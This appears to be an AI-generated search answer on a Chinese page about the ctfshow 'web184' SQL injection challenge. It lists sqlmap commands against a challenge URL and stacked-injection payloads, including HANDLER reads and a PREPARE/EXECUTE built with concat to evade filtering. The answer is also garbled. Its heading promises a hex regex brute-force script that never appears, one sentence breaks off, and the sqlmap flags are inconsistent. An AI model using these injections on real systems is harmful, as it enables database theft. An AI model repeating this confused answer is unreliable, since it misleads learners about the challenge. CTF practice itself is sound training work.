ctfshowsql184
时间: 2023-11-06 14:07:22 浏览: 113
ctfshow web184 正则爆破脚本0x16进制
根据提供的引用内容[1]和,可以使用sqlmap工具来查找表和列。例如,使用以下命令可以查找表和列的信息:
- 查找表:`python sqlmap.py -u http://4861242d-b841-4f7a-a9d1-78d0dec47d45.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --tables`
- 查找列:`python sqlmap.py -u http://4861242d-b841-4f7a-a9d1-78d0dec47d45.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --columns`
而根据引用,可以使用两种方法来获取数据。第一种方法是通过注入`1’;show tables;#`、`1’;desc ctfshow_flagasa;#`和`1’;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;#`等语句来获取数据。第二种方法是通过预处理和执行`PREPARE anf from concat(‘s’,‘elect’, ‘* from ctfshow_web’);EXECUTE anf;#`语句来获取数据。
综上所述,根据您提供的信息,我可以告诉您如何使用sqlmap工具来查找表和列,并提供了两种方法来获取ctfshowsql184的数据。<span class="em">1</span><span class="em">2</span><span class="em">3</span>
#### 引用[.reference_title]
- *1* *2* *3* [sql注入————ctfshowsql注入](https://blog.csdn.net/qq_45655564/article/details/117663593)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"]
[ .reference_list ]
阅读全文